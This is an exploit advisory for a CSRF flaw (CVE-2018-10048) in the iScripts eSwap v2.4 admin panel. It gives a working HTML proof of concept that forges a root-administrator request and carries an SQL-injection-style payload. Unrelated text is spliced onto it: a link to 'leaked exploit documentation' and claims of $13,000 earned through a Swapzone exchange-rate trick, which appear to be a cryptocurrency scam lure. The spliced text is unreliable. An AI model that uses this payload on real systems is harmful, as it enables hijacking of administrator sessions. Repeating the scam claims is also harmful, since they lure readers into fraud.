CVE-2018-10048

# Exploit title: iScripts eSwap v2.4 - CSRF via the registration_settings.php Admin Panel
# Date: 11/04/2018
# Exploit Author: ManhNho
# Vendor Homepage: https://www.iscripts.com
# Software Link: https://www.iscripts.com/eswap
# Demo Link: https://www.demo.iscripts.com/eswap/demo//admin/adminmain.php
# Version: 2.4
# CVE: CVE-2018-10048
# Tested on: Windows 10 / Kali Linux
# Category: Webapps


#1. Description
-----------------------------------------------------
iScripts eSwap v2.4 has CSRF via the "registration_settings.php" function parameter in Admin Panel.

#2. PoC
-----------------------------------------------------
a) Send below crafted request to logged in user who is having Root Administrator level access

<html>
  <!-- CSRF PoC - ManhNho -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://www.demo.iscripts.com/eswap/demo//admin/registration_settings.php?act=post" method="POST">
      <input type="hidden" name="ddlFree" value="&#45;1&apos;&#32;order&#32;by&#32;0&#32;&#35;" />
      <input type="hidden" name="txtDate" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

b) Once the logged in user opens the URL the form will get submitted with active session of root administrator and action get performed successfully.
✅ Leaked Exploit Documentation:

https://rawtext.host/raw?44lh4m

This made me $13,000 in 2 days.

Important: If you plan to use the exploit more than once, remember that after the first successful swap you must wait 24 hours before using it again. Otherwise, there is a high chance that your transaction will be flagged for additional verification, and if that happens, you won't receive the extra 38% — they will simply correct the exchange rate.
The first COMPLETED transaction always goes through — this has been tested and confirmed over the last days.

Edit: I've gotten a lot of questions about the maximum amount it works for — as far as I know, there is no maximum amount. The only limit is the 24-hour cooldown (1 use per day without any verification from Swapzone — instant swap).